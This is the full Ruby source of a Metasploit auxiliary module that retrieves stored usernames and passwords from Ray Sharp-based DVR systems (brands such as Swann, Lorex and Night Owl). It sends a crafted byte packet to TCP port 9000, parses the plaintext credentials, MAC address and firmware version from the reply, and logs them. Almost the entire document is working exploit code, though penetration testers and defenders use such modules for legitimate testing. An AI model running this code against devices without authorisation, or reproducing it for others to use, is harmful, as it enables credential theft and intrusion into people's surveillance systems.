## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner def initialize super( 'Name' => 'Ray Sharp DVR Password Retriever', 'Description' => %q{ This module takes advantage of a protocol design issue with the Ray Sharp based DVR systems. It is possible to retrieve the username and password through the TCP service running on port 9000. Other brands using this platform and exposing the same issue may include Swann, Lorex, Night Owl, Zmodo, URMET, and KGuard Security. }, 'Author' => [ 'someluser', # Python script 'hdm' # Metasploit module ], 'References' => [ [ 'URL', 'http://console-cowboys.blogspot.com/2013/01/swann-song-dvr-insecurity.html' ] ], 'License' => MSF_LICENSE ) register_options( [ Opt::RPORT(9000) ], self.class) end def report_cred(opts) service_data = { address: opts[:ip], port: opts[:port], service_name: opts[:service_name], protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: fullname, username: opts[:user], private_data: opts[:password], private_type: :password }.merge(service_data) login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::UNTRIED, proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) end def run_host(ip) req = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0E\x0F" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00" + ( "\x00" * 475 ) connect sock.put(req) buf = "" begin # Pull data until the socket closes or we time out Timeout.timeout(15) do loop do res = sock.get_once(-1, 1) buf << res if res end end rescue ::Timeout::Error rescue ::EOFError end disconnect info = "" mac = nil ver = nil creds = {} buf.scan(/[\x00\xff]([\x20-\x7f]{1,32})\x00+([\x20-\x7f]{1,32})\x00\x00([\x20-\x7f]{1,32})\x00/m).each do |cred| # Make sure the two passwords match next unless cred[1] == cred[2] creds[cred[0]] = cred[1] end if creds.keys.length > 0 creds.keys.sort.each do |user| pass = creds[user] report_cred( ip: rhost, port: rport, service_name: 'dvr', user: user, password: pass, proof: pass ) info << "(user='#{user}' pass='#{pass}') " end end # Look for MAC address if buf =~ /([0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2})/mi mac = $1 end # Look for version if buf =~ /(V[0-9]+\.[0-9][^\x00]+)/m ver = $1 end info << "mac=#{mac} " if mac info << "version=#{ver} " if ver return unless (creds.keys.length > 0 or mac or ver) report_service(:host => rhost, :port => rport, :sname => 'dvr', :info => info) print_good("#{rhost}:#{rport} #{info}") end end